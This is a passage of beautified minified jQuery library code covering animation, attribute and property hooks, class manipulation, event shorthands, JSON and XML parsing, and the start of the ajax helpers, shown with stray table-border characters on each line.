swing: function(i) { | |
return 0.5 - Math.cos(i * Math.PI) / 2 | |
}, | |
_default: "swing" | |
}; | |
bQ.fx = Q.prototype.init; | |
bQ.fx.step = {}; | |
var V, am, bY = /^(?:toggle|show|hide)$/, | |
bW = /queueHooks$/; | |
function bv() { | |
bd.setTimeout(function() { | |
V = undefined | |
}); | |
return (V = bQ.now()) | |
} | |
function bP(cg, ci) { | |
var ch, ce = { | |
height: cg | |
}, | |
cf = 0; | |
ci = ci ? 1 : 0; | |
for (; cf < 4; cf += 2 - ci) { | |
ch = b1[cf]; | |
ce["margin" + ch] = ce["padding" + ch] = cg | |
} | |
if (ci) { | |
ce.opacity = ce.width = cg | |
} | |
return ce | |
} | |
function bl(ch, cj, cg) { | |
var ce, ci = (e.tweeners[cj] || []).concat(e.tweeners["*"]), | |
i = 0, | |
cf = ci.length; | |
for (; i < cf; i++) { | |
if ((ce = ci[i].call(cg, cj, ch))) { | |
return ce | |
} | |
} | |
} | |
function g(cg, cl, i) { | |
var cf, co, ci, cr, cs, cp, ck, cn, ch = this, | |
cm = {}, | |
ce = cg.style, | |
cj = cg.nodeType && ab(cg), | |
cq = bQ._data(cg, "fxshow"); | |
if (!i.queue) { | |
cs = bQ._queueHooks(cg, "fx"); | |
if (cs.unqueued == null) { | |
cs.unqueued = 0; | |
cp = cs.empty.fire; | |
cs.empty.fire = function() { | |
if (!cs.unqueued) { | |
cp() | |
} | |
} | |
} | |
cs.unqueued++; | |
ch.always(function() { | |
ch.always(function() { | |
cs.unqueued--; | |
if (!bQ.queue(cg, "fx").length) { | |
cs.empty.fire() | |
} | |
}) | |
}) | |
} | |
if (cg.nodeType === 1 && ("height" in cl || "width" in cl)) { | |
i.overflow = [ce.overflow, ce.overflowX, ce.overflowY]; | |
ck = bQ.css(cg, "display"); | |
cn = ck === "none" ? bQ._data(cg, "olddisplay") || a9(cg.nodeName) : ck; | |
if (cn === "inline" && bQ.css(cg, "float") === "none") { | |
if (!G.inlineBlockNeedsLayout || a9(cg.nodeName) === "inline") { | |
ce.display = "inline-block" | |
} else { | |
ce.zoom = 1 | |
} | |
} | |
} | |
if (i.overflow) { | |
ce.overflow = "hidden"; | |
if (!G.shrinkWrapBlocks()) { | |
ch.always(function() { | |
ce.overflow = i.overflow[0]; | |
ce.overflowX = i.overflow[1]; | |
ce.overflowY = i.overflow[2] | |
}) | |
} | |
} | |
for (cf in cl) { | |
co = cl[cf]; | |
if (bY.exec(co)) { | |
delete cl[cf]; | |
ci = ci || co === "toggle"; | |
if (co === (cj ? "hide" : "show")) { | |
if (co === "show" && cq && cq[cf] !== undefined) { | |
cj = true | |
} else { | |
continue | |
} | |
} | |
cm[cf] = cq && cq[cf] || bQ.style(cg, cf) | |
} else { | |
ck = undefined | |
} | |
} | |
if (!bQ.isEmptyObject(cm)) { | |
if (cq) { | |
if ("hidden" in cq) { | |
cj = cq.hidden | |
} | |
} else { | |
cq = bQ._data(cg, "fxshow", {}) | |
} | |
if (ci) { | |
cq.hidden = !cj | |
} | |
if (cj) { | |
bQ(cg).show() | |
} else { | |
ch.done(function() { | |
bQ(cg).hide() | |
}) | |
} | |
ch.done(function() { | |
var ct; | |
bQ._removeData(cg, "fxshow"); | |
for (ct in cm) { | |
bQ.style(cg, ct, cm[ct]) | |
} | |
}); | |
for (cf in cm) { | |
cr = bl(cj ? cq[cf] : 0, cf, ch); | |
if (!(cf in cq)) { | |
cq[cf] = cr.start; | |
if (cj) { | |
cr.end = cr.start; | |
cr.start = cf === "width" || cf === "height" ? 1 : 0 | |
} | |
} | |
} | |
} else { | |
if ((ck === "none" ? a9(cg.nodeName) : ck) === "inline") { | |
ce.display = ck | |
} | |
} | |
} | |
function ax(cg, ci) { | |
var cf, ce, cj, ch, i; | |
for (cf in cg) { | |
ce = bQ.camelCase(cf); | |
cj = ci[ce]; | |
ch = cg[cf]; | |
if (bQ.isArray(ch)) { | |
cj = ch[1]; | |
ch = cg[cf] = ch[0] | |
} | |
if (cf !== ce) { | |
cg[ce] = ch; | |
delete cg[cf] | |
} | |
i = bQ.cssHooks[ce]; | |
if (i && "expand" in i) { | |
ch = i.expand(ch); | |
delete cg[ce]; | |
for (cf in ch) { | |
if (!(cf in cg)) { | |
cg[cf] = ch[cf]; | |
ci[cf] = cj | |
} | |
} | |
} else { | |
ci[ce] = cj | |
} | |
} | |
} | |
function e(cf, cj, cm) { | |
var cn, i, ci = 0, | |
ce = e.prefilters.length, | |
cl = bQ.Deferred().always(function() { | |
delete ch.elem | |
}), | |
ch = function() { | |
if (i) { | |
return false | |
} | |
var ct = V || bv(), | |
cq = Math.max(0, cg.startTime + cg.duration - ct), | |
co = cq / cg.duration || 0, | |
cs = 1 - co, | |
cp = 0, | |
cr = cg.tweens.length; | |
for (; cp < cr; cp++) { | |
cg.tweens[cp].run(cs) | |
} | |
cl.notifyWith(cf, [cg, cs, cq]); | |
if (cs < 1 && cr) { | |
return cq | |
} else { | |
cl.resolveWith(cf, [cg]); | |
return false | |
} | |
}, | |
cg = cl.promise({ | |
elem: cf, | |
props: bQ.extend({}, cj), | |
opts: bQ.extend(true, { | |
specialEasing: {}, | |
easing: bQ.easing._default | |
}, cm), | |
originalProperties: cj, | |
originalOptions: cm, | |
startTime: V || bv(), | |
duration: cm.duration, | |
tweens: [], | |
createTween: function(cq, co) { | |
var cp = bQ.Tween(cf, cg.opts, cq, co, cg.opts.specialEasing[cq] || cg.opts.easing); | |
cg.tweens.push(cp); | |
return cp | |
}, | |
stop: function(cp) { | |
var co = 0, | |
cq = cp ? cg.tweens.length : 0; | |
if (i) { | |
return this | |
} | |
i = true; | |
for (; co < cq; co++) { | |
cg.tweens[co].run(1) | |
} | |
if (cp) { | |
cl.notifyWith(cf, [cg, 1, 0]); | |
cl.resolveWith(cf, [cg, cp]) | |
} else { | |
cl.rejectWith(cf, [cg, cp]) | |
} | |
return this | |
} | |
}), | |
ck = cg.props; | |
ax(ck, cg.opts.specialEasing); | |
for (; ci < ce; ci++) { | |
cn = e.prefilters[ci].call(cg, cf, ck, cg.opts); | |
if (cn) { | |
if (bQ.isFunction(cn.stop)) { | |
bQ._queueHooks(cg.elem, cg.opts.queue).stop = bQ.proxy(cn.stop, cn) | |
} | |
return cn | |
} | |
} | |
bQ.map(ck, bl, cg); | |
if (bQ.isFunction(cg.opts.start)) { | |
cg.opts.start.call(cf, cg) | |
} | |
bQ.fx.timer(bQ.extend(ch, { | |
elem: cf, | |
anim: cg, | |
queue: cg.opts.queue | |
})); | |
return cg.progress(cg.opts.progress).done(cg.opts.done, cg.opts.complete).fail(cg.opts.fail).always(cg.opts.always) | |
} | |
bQ.Animation = bQ.extend(e, { | |
tweeners: { | |
"*": [function(cf, ce) { | |
var i = this.createTween(cf, ce); | |
B(i.elem, cf, b7.exec(ce), i); | |
return i | |
}] | |
}, | |
tweener: function(ce, ch) { | |
if (bQ.isFunction(ce)) { | |
ch = ce; | |
ce = ["*"] | |
} else { | |
ce = ce.match(aN) | |
} | |
var cg, i = 0, | |
cf = ce.length; | |
for (; i < cf; i++) { | |
cg = ce[i]; | |
e.tweeners[cg] = e.tweeners[cg] || []; | |
e.tweeners[cg].unshift(ch) | |
} | |
}, | |
prefilters: [g], | |
prefilter: function(ce, i) { | |
if (i) { | |
e.prefilters.unshift(ce) | |
} else { | |
e.prefilters.push(ce) | |
} | |
} | |
}); | |
bQ.speed = function(cf, cg, ce) { | |
var i = cf && typeof cf === "object" ? bQ.extend({}, cf) : { | |
complete: ce || !ce && cg || bQ.isFunction(cf) && cf, | |
duration: cf, | |
easing: ce && cg || cg && !bQ.isFunction(cg) && cg | |
}; | |
i.duration = bQ.fx.off ? 0 : typeof i.duration === "number" ? i.duration : i.duration in bQ.fx.speeds ? bQ.fx.speeds[i.duration] : bQ.fx.speeds._default; | |
if (i.queue == null || i.queue === true) { | |
i.queue = "fx" | |
} | |
i.old = i.complete; | |
i.complete = function() { | |
if (bQ.isFunction(i.old)) { | |
i.old.call(this) | |
} | |
if (i.queue) { | |
bQ.dequeue(this, i.queue) | |
} | |
}; | |
return i | |
}; | |
bQ.fn.extend({ | |
fadeTo: function(i, cg, cf, ce) { | |
return this.filter(ab).css("opacity", 0).show().end().animate({ | |
opacity: cg | |
}, i, cf, ce) | |
}, | |
animate: function(cj, cg, ci, ch) { | |
var cf = bQ.isEmptyObject(cj), | |
i = bQ.speed(cg, ci, ch), | |
ce = function() { | |
var ck = e(this, bQ.extend({}, cj), i); | |
if (cf || bQ._data(this, "finish")) { | |
ck.stop(true) | |
} | |
}; | |
ce.finish = ce; | |
return cf || i.queue === false ? this.each(ce) : this.queue(i.queue, ce) | |
}, | |
stop: function(cf, ce, i) { | |
var cg = function(ch) { | |
var ci = ch.stop; | |
delete ch.stop; | |
ci(i) | |
}; | |
if (typeof cf !== "string") { | |
i = ce; | |
ce = cf; | |
cf = undefined | |
} | |
if (ce && cf !== false) { | |
this.queue(cf || "fx", []) | |
} | |
return this.each(function() { | |
var ck = true, | |
ch = cf != null && cf + "queueHooks", | |
cj = bQ.timers, | |
ci = bQ._data(this); | |
if (ch) { | |
if (ci[ch] && ci[ch].stop) { | |
cg(ci[ch]) | |
} | |
} else { | |
for (ch in ci) { | |
if (ci[ch] && ci[ch].stop && bW.test(ch)) { | |
cg(ci[ch]) | |
} | |
} | |
} | |
for (ch = cj.length; ch--;) { | |
if (cj[ch].elem === this && (cf == null || cj[ch].queue === cf)) { | |
cj[ch].anim.stop(i); | |
ck = false; | |
cj.splice(ch, 1) | |
} | |
} | |
if (ck || !i) { | |
bQ.dequeue(this, cf) | |
} | |
}) | |
}, | |
finish: function(i) { | |
if (i !== false) { | |
i = i || "fx" | |
} | |
return this.each(function() { | |
var cg, cj = bQ._data(this), | |
cf = cj[i + "queue"], | |
ce = cj[i + "queueHooks"], | |
ci = bQ.timers, | |
ch = cf ? cf.length : 0; | |
cj.finish = true; | |
bQ.queue(this, i, []); | |
if (ce && ce.stop) { | |
ce.stop.call(this, true) | |
} | |
for (cg = ci.length; cg--;) { | |
if (ci[cg].elem === this && ci[cg].queue === i) { | |
ci[cg].anim.stop(true); | |
ci.splice(cg, 1) | |
} | |
} | |
for (cg = 0; cg < ch; cg++) { | |
if (cf[cg] && cf[cg].finish) { | |
cf[cg].finish.call(this) | |
} | |
} | |
delete cj.finish | |
}) | |
} | |
}); | |
bQ.each(["toggle", "show", "hide"], function(cf, ce) { | |
var cg = bQ.fn[ce]; | |
bQ.fn[ce] = function(i, ci, ch) { | |
return i == null || typeof i === "boolean" ? cg.apply(this, arguments) : this.animate(bP(ce, true), i, ci, ch) | |
} | |
}); | |
bQ.each({ | |
slideDown: bP("show"), | |
slideUp: bP("hide"), | |
slideToggle: bP("toggle"), | |
fadeIn: { | |
opacity: "show" | |
}, | |
fadeOut: { | |
opacity: "hide" | |
}, | |
fadeToggle: { | |
opacity: "toggle" | |
} | |
}, function(i, ce) { | |
bQ.fn[i] = function(cf, ch, cg) { | |
return this.animate(ce, cf, ch, cg) | |
} | |
}); | |
bQ.timers = []; | |
bQ.fx.tick = function() { | |
var cg, cf = bQ.timers, | |
ce = 0; | |
V = bQ.now(); | |
for (; ce < cf.length; ce++) { | |
cg = cf[ce]; | |
if (!cg() && cf[ce] === cg) { | |
cf.splice(ce--, 1) | |
} | |
} | |
if (!cf.length) { | |
bQ.fx.stop() | |
} | |
V = undefined | |
}; | |
bQ.fx.timer = function(i) { | |
bQ.timers.push(i); | |
if (i()) { | |
bQ.fx.start() | |
} else { | |
bQ.timers.pop() | |
} | |
}; | |
bQ.fx.interval = 13; | |
bQ.fx.start = function() { | |
if (!am) { | |
am = bd.setInterval(bQ.fx.tick, bQ.fx.interval) | |
} | |
}; | |
bQ.fx.stop = function() { | |
bd.clearInterval(am); | |
am = null | |
}; | |
bQ.fx.speeds = { | |
slow: 600, | |
fast: 200, | |
_default: 400 | |
}; | |
bQ.fn.delay = function(ce, i) { | |
ce = bQ.fx ? bQ.fx.speeds[ce] || ce : ce; | |
i = i || "fx"; | |
return this.queue(i, function(cg, cf) { | |
var ch = bd.setTimeout(cg, ce); | |
cf.stop = function() { | |
bd.clearTimeout(ch) | |
} | |
}) | |
}; | |
(function() { | |
var ce, cf = m.createElement("input"), | |
ch = m.createElement("div"), | |
i = m.createElement("select"), | |
cg = i.appendChild(m.createElement("option")); | |
ch = m.createElement("div"); | |
ch.setAttribute("className", "t"); | |
ch.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>"; | |
ce = ch.getElementsByTagName("a")[0]; | |
cf.setAttribute("type", "checkbox"); | |
ch.appendChild(cf); | |
ce = ch.getElementsByTagName("a")[0]; | |
ce.style.cssText = "top:1px"; | |
G.getSetAttribute = ch.className !== "t"; | |
G.style = /top/.test(ce.getAttribute("style")); | |
G.hrefNormalized = ce.getAttribute("href") === "/a"; | |
G.checkOn = !!cf.value; | |
G.optSelected = cg.selected; | |
G.enctype = !!m.createElement("form").enctype; | |
i.disabled = true; | |
G.optDisabled = !cg.disabled; | |
cf = m.createElement("input"); | |
cf.setAttribute("value", ""); | |
G.input = cf.getAttribute("value") === ""; | |
cf.value = "t"; | |
cf.setAttribute("type", "radio"); | |
G.radioValue = cf.value === "t" | |
})(); | |
var au = /\r/g, | |
a5 = /[\x20\t\r\n\f]+/g; | |
bQ.fn.extend({ | |
val: function(cg) { | |
var i, ce, ch, cf = this[0]; | |
if (!arguments.length) { | |
if (cf) { | |
i = bQ.valHooks[cf.type] || bQ.valHooks[cf.nodeName.toLowerCase()]; | |
if (i && "get" in i && (ce = i.get(cf, "value")) !== undefined) { | |
return ce | |
} | |
ce = cf.value; | |
return typeof ce === "string" ? ce.replace(au, "") : ce == null ? "" : ce | |
} | |
return | |
} | |
ch = bQ.isFunction(cg); | |
return this.each(function(ci) { | |
var cj; | |
if (this.nodeType !== 1) { | |
return | |
} | |
if (ch) { | |
cj = cg.call(this, ci, bQ(this).val()) | |
} else { | |
cj = cg | |
} | |
if (cj == null) { | |
cj = "" | |
} else { | |
if (typeof cj === "number") { | |
cj += "" | |
} else { | |
if (bQ.isArray(cj)) { | |
cj = bQ.map(cj, function(ck) { | |
return ck == null ? "" : ck + "" | |
}) | |
} | |
} | |
} | |
i = bQ.valHooks[this.type] || bQ.valHooks[this.nodeName.toLowerCase()]; | |
if (!i || !("set" in i) || i.set(this, cj, "value") === undefined) { | |
this.value = cj | |
} | |
}) | |
} | |
}); | |
bQ.extend({ | |
valHooks: { | |
option: { | |
get: function(i) { | |
var ce = bQ.find.attr(i, "value"); | |
return ce != null ? ce : bQ.trim(bQ.text(i)).replace(a5, " ") | |
} | |
}, | |
select: { | |
get: function(ce) { | |
var ck, cg, cm = ce.options, | |
ci = ce.selectedIndex, | |
ch = ce.type === "select-one" || ci < 0, | |
cl = ch ? null : [], | |
cj = ch ? ci + 1 : cm.length, | |
cf = ci < 0 ? cj : ch ? ci : 0; | |
for (; cf < cj; cf++) { | |
cg = cm[cf]; | |
if ((cg.selected || cf === ci) && (G.optDisabled ? !cg.disabled : cg.getAttribute("disabled") === null) && (!cg.parentNode.disabled || !bQ.nodeName(cg.parentNode, "optgroup"))) { | |
ck = bQ(cg).val(); | |
if (ch) { | |
return ck | |
} | |
cl.push(ck) | |
} | |
} | |
return cl | |
}, | |
set: function(cj, ck) { | |
var cl, ci, cg = cj.options, | |
ce = bQ.makeArray(ck), | |
ch = cg.length; | |
while (ch--) { | |
ci = cg[ch]; | |
if (bQ.inArray(bQ.valHooks.option.get(ci), ce) > -1) { | |
try { | |
ci.selected = cl = true | |
} catch (cf) { | |
ci.scrollHeight | |
} | |
} else { | |
ci.selected = false | |
} | |
} | |
if (!cl) { | |
cj.selectedIndex = -1 | |
} | |
return cg | |
} | |
} | |
} | |
}); | |
bQ.each(["radio", "checkbox"], function() { | |
bQ.valHooks[this] = { | |
set: function(i, ce) { | |
if (bQ.isArray(ce)) { | |
return (i.checked = bQ.inArray(bQ(i).val(), ce) > -1) | |
} | |
} | |
}; | |
if (!G.checkOn) { | |
bQ.valHooks[this].get = function(i) { | |
return i.getAttribute("value") === null ? "on" : i.value | |
} | |
} | |
}); | |
var bi, cb, bV = bQ.expr.attrHandle, | |
az = /^(?:checked|selected)$/i, | |
bU = G.getSetAttribute, | |
bN = G.input; | |
bQ.fn.extend({ | |
attr: function(i, ce) { | |
return aK(this, bQ.attr, i, ce, arguments.length > 1) | |
}, | |
removeAttr: function(i) { | |
return this.each(function() { | |
bQ.removeAttr(this, i) | |
}) | |
} | |
}); | |
bQ.extend({ | |
attr: function(ch, cg, ci) { | |
var cf, i, ce = ch.nodeType; | |
if (ce === 3 || ce === 8 || ce === 2) { | |
return | |
} | |
if (typeof ch.getAttribute === "undefined") { | |
return bQ.prop(ch, cg, ci) | |
} | |
if (ce !== 1 || !bQ.isXMLDoc(ch)) { | |
cg = cg.toLowerCase(); | |
i = bQ.attrHooks[cg] || (bQ.expr.match.bool.test(cg) ? cb : bi) | |
} | |
if (ci !== undefined) { | |
if (ci === null) { | |
bQ.removeAttr(ch, cg); | |
return | |
} | |
if (i && "set" in i && (cf = i.set(ch, ci, cg)) !== undefined) { | |
return cf | |
} | |
ch.setAttribute(cg, ci + ""); | |
return ci | |
} | |
if (i && "get" in i && (cf = i.get(ch, cg)) !== null) { | |
return cf | |
} | |
cf = bQ.find.attr(ch, cg); | |
return cf == null ? undefined : cf | |
}, | |
attrHooks: { | |
type: { | |
set: function(i, ce) { | |
if (!G.radioValue && ce === "radio" && bQ.nodeName(i, "input")) { | |
var cf = i.value; | |
i.setAttribute("type", ce); | |
if (cf) { | |
i.value = cf | |
} | |
return ce | |
} | |
} | |
} | |
}, | |
removeAttr: function(cg, ci) { | |
var ce, ch, cf = 0, | |
cj = ci && ci.match(aN); | |
if (cj && cg.nodeType === 1) { | |
while ((ce = cj[cf++])) { | |
ch = bQ.propFix[ce] || ce; | |
if (bQ.expr.match.bool.test(ce)) { | |
if (bN && bU || !az.test(ce)) { | |
cg[ch] = false | |
} else { | |
cg[bQ.camelCase("default-" + ce)] = cg[ch] = false | |
} | |
} else { | |
bQ.attr(cg, ce, "") | |
} | |
cg.removeAttribute(bU ? ce : ch) | |
} | |
} | |
} | |
}); | |
cb = { | |
set: function(ce, cf, i) { | |
if (cf === false) { | |
bQ.removeAttr(ce, i) | |
} else { | |
if (bN && bU || !az.test(i)) { | |
ce.setAttribute(!bU && bQ.propFix[i] || i, i) | |
} else { | |
ce[bQ.camelCase("default-" + i)] = ce[i] = true | |
} | |
} | |
return i | |
} | |
}; | |
bQ.each(bQ.expr.match.bool.source.match(/\w+/g), function(cg, cf) { | |
var ce = bV[cf] || bQ.find.attr; | |
if (bN && bU || !az.test(cf)) { | |
bV[cf] = function(ci, ch, ck) { | |
var i, cj; | |
if (!ck) { | |
cj = bV[ch]; | |
bV[ch] = i; | |
i = ce(ci, ch, ck) != null ? ch.toLowerCase() : null; | |
bV[ch] = cj | |
} | |
return i | |
} | |
} else { | |
bV[cf] = function(ch, i, ci) { | |
if (!ci) { | |
return ch[bQ.camelCase("default-" + i)] ? i.toLowerCase() : null | |
} | |
} | |
} | |
}); | |
if (!bN || !bU) { | |
bQ.attrHooks.value = { | |
set: function(ce, cf, i) { | |
if (bQ.nodeName(ce, "input")) { | |
ce.defaultValue = cf | |
} else { | |
return bi && bi.set(ce, cf, i) | |
} | |
} | |
} | |
} | |
if (!bU) { | |
bi = { | |
set: function(cf, cg, ce) { | |
var i = cf.getAttributeNode(ce); | |
if (!i) { | |
cf.setAttributeNode((i = cf.ownerDocument.createAttribute(ce))) | |
} | |
i.value = cg += ""; | |
if (ce === "value" || cg === cf.getAttribute(ce)) { | |
return cg | |
} | |
} | |
}; | |
bV.id = bV.name = bV.coords = function(cf, ce, cg) { | |
var i; | |
if (!cg) { | |
return (i = cf.getAttributeNode(ce)) && i.value !== "" ? i.value : null | |
} | |
}; | |
bQ.valHooks.button = { | |
get: function(cf, ce) { | |
var i = cf.getAttributeNode(ce); | |
if (i && i.specified) { | |
return i.value | |
} | |
}, | |
set: bi.set | |
}; | |
bQ.attrHooks.contenteditable = { | |
set: function(ce, cf, i) { | |
bi.set(ce, cf === "" ? false : cf, i) | |
} | |
}; | |
bQ.each(["width", "height"], function(cf, ce) { | |
bQ.attrHooks[ce] = { | |
set: function(i, cg) { | |
if (cg === "") { | |
i.setAttribute(ce, "auto"); | |
return cg | |
} | |
} | |
} | |
}) | |
} | |
if (!G.style) { | |
bQ.attrHooks.style = { | |
get: function(i) { | |
return i.style.cssText || undefined | |
}, | |
set: function(i, ce) { | |
return (i.style.cssText = ce + "") | |
} | |
} | |
} | |
var aQ = /^(?:input|select|textarea|button|object)$/i, | |
I = /^(?:a|area)$/i; | |
bQ.fn.extend({ | |
prop: function(i, ce) { | |
return aK(this, bQ.prop, i, ce, arguments.length > 1) | |
}, | |
removeProp: function(i) { | |
i = bQ.propFix[i] || i; | |
return this.each(function() { | |
try { | |
this[i] = undefined; | |
delete this[i] | |
} catch (ce) {} | |
}) | |
} | |
}); | |
bQ.extend({ | |
prop: function(ch, cg, ci) { | |
var cf, i, ce = ch.nodeType; | |
if (ce === 3 || ce === 8 || ce === 2) { | |
return | |
} | |
if (ce !== 1 || !bQ.isXMLDoc(ch)) { | |
cg = bQ.propFix[cg] || cg; | |
i = bQ.propHooks[cg] | |
} | |
if (ci !== undefined) { | |
if (i && "set" in i && (cf = i.set(ch, ci, cg)) !== undefined) { | |
return cf | |
} | |
return (ch[cg] = ci) | |
} | |
if (i && "get" in i && (cf = i.get(ch, cg)) !== null) { | |
return cf | |
} | |
return ch[cg] | |
}, | |
propHooks: { | |
tabIndex: { | |
get: function(ce) { | |
var i = bQ.find.attr(ce, "tabindex"); | |
return i ? parseInt(i, 10) : aQ.test(ce.nodeName) || I.test(ce.nodeName) && ce.href ? 0 : -1 | |
} | |
} | |
}, | |
propFix: { | |
"for": "htmlFor", | |
"class": "className" | |
} | |
}); | |
if (!G.hrefNormalized) { | |
bQ.each(["href", "src"], function(cf, ce) { | |
bQ.propHooks[ce] = { | |
get: function(i) { | |
return i.getAttribute(ce, 4) | |
} | |
} | |
}) | |
} | |
if (!G.optSelected) { | |
bQ.propHooks.selected = { | |
get: function(ce) { | |
var i = ce.parentNode; | |
if (i) { | |
i.selectedIndex; | |
if (i.parentNode) { | |
i.parentNode.selectedIndex | |
} | |
} | |
return null | |
}, | |
set: function(ce) { | |
var i = ce.parentNode; | |
if (i) { | |
i.selectedIndex; | |
if (i.parentNode) { | |
i.parentNode.selectedIndex | |
} | |
} | |
} | |
} | |
} | |
bQ.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() { | |
bQ.propFix[this.toLowerCase()] = this | |
}); | |
if (!G.enctype) { | |
bQ.propFix.enctype = "encoding" | |
} | |
var bS = /[\t\r\n\f]/g; | |
function E(i) { | |
return bQ.attr(i, "class") || "" | |
} | |
bQ.fn.extend({ | |
addClass: function(cl) { | |
var cg, cf, cm, ch, ck, ci, ce, cj = 0; | |
if (bQ.isFunction(cl)) { | |
return this.each(function(i) { | |
bQ(this).addClass(cl.call(this, i, E(this))) | |
}) | |
} | |
if (typeof cl === "string" && cl) { | |
cg = cl.match(aN) || []; | |
while ((cf = this[cj++])) { | |
ch = E(cf); | |
cm = cf.nodeType === 1 && (" " + ch + " ").replace(bS, " "); | |
if (cm) { | |
ci = 0; | |
while ((ck = cg[ci++])) { | |
if (cm.indexOf(" " + ck + " ") < 0) { | |
cm += ck + " " | |
} | |
} | |
ce = bQ.trim(cm); | |
if (ch !== ce) { | |
bQ.attr(cf, "class", ce) | |
} | |
} | |
} | |
} | |
return this | |
}, | |
removeClass: function(cl) { | |
var cg, cf, cm, ch, ck, ci, ce, cj = 0; | |
if (bQ.isFunction(cl)) { | |
return this.each(function(i) { | |
bQ(this).removeClass(cl.call(this, i, E(this))) | |
}) | |
} | |
if (!arguments.length) { | |
return this.attr("class", "") | |
} | |
if (typeof cl === "string" && cl) { | |
cg = cl.match(aN) || []; | |
while ((cf = this[cj++])) { | |
ch = E(cf); | |
cm = cf.nodeType === 1 && (" " + ch + " ").replace(bS, " "); | |
if (cm) { | |
ci = 0; | |
while ((ck = cg[ci++])) { | |
while (cm.indexOf(" " + ck + " ") > -1) { | |
cm = cm.replace(" " + ck + " ", " ") | |
} | |
} | |
ce = bQ.trim(cm); | |
if (ch !== ce) { | |
bQ.attr(cf, "class", ce) | |
} | |
} | |
} | |
} | |
return this | |
}, | |
toggleClass: function(cf, i) { | |
var ce = typeof cf; | |
if (typeof i === "boolean" && ce === "string") { | |
return i ? this.addClass(cf) : this.removeClass(cf) | |
} | |
if (bQ.isFunction(cf)) { | |
return this.each(function(cg) { | |
bQ(this).toggleClass(cf.call(this, cg, E(this), i), i) | |
}) | |
} | |
return this.each(function() { | |
var ci, ch, cg, cj; | |
if (ce === "string") { | |
ch = 0; | |
cg = bQ(this); | |
cj = cf.match(aN) || []; | |
while ((ci = cj[ch++])) { | |
if (cg.hasClass(ci)) { | |
cg.removeClass(ci) | |
} else { | |
cg.addClass(ci) | |
} | |
} | |
} else { | |
if (cf === undefined || ce === "boolean") { | |
ci = E(this); | |
if (ci) { | |
bQ._data(this, "__className__", ci) | |
} | |
bQ.attr(this, "class", ci || cf === false ? "" : bQ._data(this, "__className__") || "") | |
} | |
} | |
}) | |
}, | |
hasClass: function(ce) { | |
var cg, ch, cf = 0; | |
cg = " " + ce + " "; | |
while ((ch = this[cf++])) { | |
if (ch.nodeType === 1 && (" " + E(ch) + " ").replace(bS, " ").indexOf(cg) > -1) { | |
return true | |
} | |
} | |
return false | |
} | |
}); | |
bQ.each(("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu").split(" "), function(cf, ce) { | |
bQ.fn[ce] = function(cg, i) { | |
return arguments.length > 0 ? this.on(ce, null, cg, i) : this.trigger(ce) | |
} | |
}); | |
bQ.fn.extend({ | |
hover: function(i, ce) { | |
return this.mouseenter(i).mouseleave(ce || i) | |
} | |
}); | |
var aW = bd.location; | |
var bx = bQ.now(); | |
var bX = (/\?/); | |
var ba = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g; | |
bQ.parseJSON = function(i) { | |
if (bd.JSON && bd.JSON.parse) { | |
return bd.JSON.parse(i + "") | |
} | |
var cg, cf = null, | |
ce = bQ.trim(i + ""); | |
return ce && !bQ.trim(ce.replace(ba, function(cj, ch, ci, ck) { | |
if (cg && ch) { | |
cf = 0 | |
} | |
if (cf === 0) { | |
return cj | |
} | |
cg = ci || ch; | |
cf += !ck - !ci; | |
return "" | |
})) ? (Function("return " + ce))() : bQ.error("Invalid JSON: " + i) | |
}; | |
bQ.parseXML = function(cf) { | |
var i, ce; | |
if (!cf || typeof cf !== "string") { | |
return null | |
} | |
try { | |
if (bd.DOMParser) { | |
ce = new bd.DOMParser(); | |
i = ce.parseFromString(cf, "text/xml") | |
} else { | |
i = new bd.ActiveXObject("Microsoft.XMLDOM"); | |
i.async = "false"; | |
i.loadXML(cf) | |
} | |
} catch (cg) { | |
i = undefined | |
} | |
if (!i || !i.documentElement || i.getElementsByTagName("parsererror").length) { | |
bQ.error("Invalid XML: " + cf) | |
} | |
return i | |
}; | |
var ay = /#.*$/, | |
aa = /([?&])_=[^&]*/, | |
ap = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, | |
F = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, | |
q = /^(?:GET|HEAD)$/, | |
aR = /^\/\//, | |
a2 = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/, | |
u = {}, | |
bh = {}, | |
a6 = "*/".concat("*"), | |
aj = aW.href, | |
cc = a2.exec(aj.toLowerCase()) || []; | |
function bR(i) { | |
return function(ch, ci) { | |
if (typeof ch !== "string") { | |
ci = ch; | |
ch = "*" | |
} | |
var ce, cf = 0, | |
cg = ch.toLowerCase().match(aN) || []; | |
if (bQ.isFunction(ci)) { | |
while ((ce = cg[cf++])) { | |
if (ce.charAt(0) === "+") { | |
ce = ce.slice(1) || "*"; | |
(i[ce] = i[ce] || []).unshift(ci) | |
} else { | |
(i[ce] = i[ce] || []).push(ci) | |
} | |
} | |
} | |
} | |
} | |
function p(i, cf, cj, cg) { | |
var ce = {}, | |
ch = (i === bh); | |
function ci(ck) { | |
var cl; | |
ce[ck] = true; | |
bQ.each(i[ck] || [], function(cn, cm) { | |
var co = cm(cf, cj, cg); | |
if (typeof co === "string" && !ch && !ce[co]) { | |
cf.dataTypes.unshift(co); | |
ci(co); | |
return false | |
} else { | |
if (ch) { | |
return !(cl = co) | |
} | |
} | |
}); | |
return cl | |
} | |
return ci(cf.dataTypes[0]) || !ce["*"] && ci("*") | |
} | |
function s(cf, cg) { | |
var i, ce, ch = bQ.ajaxSettings.flatOptions || {}; | |
for (ce in cg) { | |
if (cg[ce] !== undefined) { | |
(ch[ce] ? cf : (i || (i = {})))[ce] = cg[ce] | |
} | |
} | |
if (i) { | |
bQ.extend(true, cf, i) | |
} | |
return cf | |
} | |
function f(cl, ck, ch) { | |
var i, cg, cf, ci, ce = cl.contents, | |
cj = cl.dataTypes; | |
while (cj[0] === "*") { | |
cj.shift(); | |
if (cg === undefined) { | |
cg = cl.mimeType || ck.getResponseHeader("Content-Type") | |
} | |
} | |
if (cg) { | |
for (ci in ce) { | |
